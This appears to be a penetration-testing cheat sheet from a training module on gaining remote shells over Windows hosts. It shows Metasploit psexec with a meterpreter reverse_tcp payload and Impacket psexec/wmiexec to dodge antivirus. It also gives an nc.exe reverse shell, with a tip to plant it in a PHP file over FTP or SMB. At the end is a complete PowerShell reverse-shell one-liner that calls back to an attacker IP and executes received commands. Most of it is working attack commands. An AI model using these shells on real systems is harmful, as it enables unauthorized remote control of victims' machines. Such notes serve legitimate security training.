Shell Access
Payloads Deliver us Shells
Within the IT industry as a whole, Payload can be defined in a few different ways:
Networking: The encapsulated data portion of a packet traversing modern computer networks.
Basic Computing: A payload is the portion of an instruction set that defines the action to be taken. Headers and protocol information removed.
Programming: The data portion referenced or carried by the programming language instruction.
Exploitation & Security: A payload is code crafted with the intent to exploit a vulnerability on a computer system. The term payload can describe various types of malware, including but not limited to ransomware.
In this module, we will be working with many different types of payloads and delivery methods within the context of granting ourselves access to a host and establishing remote shell sessions with vulnerable systems.
Shell validation
psenv
SMB - PSExec
With Metasploit
msfconsole
we can seach psexec or type:
use exploit/windows/smb/psexecshow optionsWe need to set rhosts, lhost, smbdomain, smbpass and smbuser
We also need to set the payload depending on our target for instance
windows/x64/meterpreter/reverse_tcpWe should get a shell
With Impacket - psexec.py
Can be useful if meterprer is picked up by AV.
We can also try with: wmbexec.py or wmiexec.py (same command except for name of the script of course)
Get a shell with nc.exe
If we have access to a win and need to get a reverse shell for some reason (like privesc or else) we can use nc.exe
You can get it here if you are on kali
/usr/share/windows-resources/binaries/nc.exeOnce on the target you can launch it with
nc.exe -e cmd.exe IP-KALI PORTYou could even put this line in a php file if say you had access to an ftp or smb that are used to transfer files to serve
Powershell
Connect to our attack machine from a powershell prompt
We set a listener
rlwrap nc -lvp 443powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Last updated